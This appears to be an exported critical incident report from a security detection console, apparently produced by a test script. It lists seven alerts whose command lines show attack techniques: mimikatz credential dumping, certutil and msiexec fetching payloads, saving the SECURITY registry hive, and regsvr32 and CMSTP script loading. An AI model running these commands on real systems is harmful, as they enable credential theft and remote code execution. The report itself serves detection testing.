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Critical CINC-20251220-A31129C0 new

Aggregate ID: aggind:024efd237c2d4f87958607652cb04c8b:8628473687

Incident Overview

Incident ID CINC-20251220-A31129C0
Severity Critical (90)
Status new
Alert Count 7
Host Count 1

Timeline

First Seen 2025-12-18 20:06:44
Last Seen 2025-12-18 20:07:55
Duration 0d 0h 1m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Credential Access Command and Control Defense Evasion Persistence Execution
Techniques:
OS Credential Dumping Ingress Tool Transfer CMSTP Event Triggered Execution Regsvr32 User Execution

Affected Hosts (1)

BOOK-R0BE6S1NC3

Related Alerts (7)

Severity Status Hostname Description Tactic Command Line Time
High new BOOK-R0BE6S1NC3 A process appears to be launching mimikatz, a password dumping utility. mimikatz's primary purpose is to steal passwords. If credentials were dumped, change your passwords and investigate further. Credential Access C:\windows\system32\cmd.exe /c "powershell -c "sekurlsa::logonpasswords"" 12-18 20:07
High new BOOK-R0BE6S1NC3 Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree. Command and Control certutil -urlcache -split -f http://127.0.0.1/mal.exe C:\Users\ubuntu\AppData\Local\Temp\cert_test.exe 12-18 20:07
High new BOOK-R0BE6S1NC3 A CMSTP.exe process appears to have been supplied with a suspicious INF file. CMSTP.exe may be abused to load and execute DLLs andor COM scriptlets SCT from remote servers. Review the command line. Defense Evasion cmstp /s /ns C:\Users\ubuntu\AppData\Local\Temp\test.inf 12-18 20:07
High new BOOK-R0BE6S1NC3 Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-18 20:07
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\ubuntu\AppData\Local\Temp\security.hiv 12-18 20:07
High new BOOK-R0BE6S1NC3 A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-18 20:07
Informational new BOOK-R0BE6S1NC3 A process has written a known EICAR test file. Review the files written by the triggered process. Execution "C:\app\cortex-xdr-siem-test\.venv\Scripts\python.exe" mega_incident_generator.py --rounds 2 --interval 30 12-18 20:06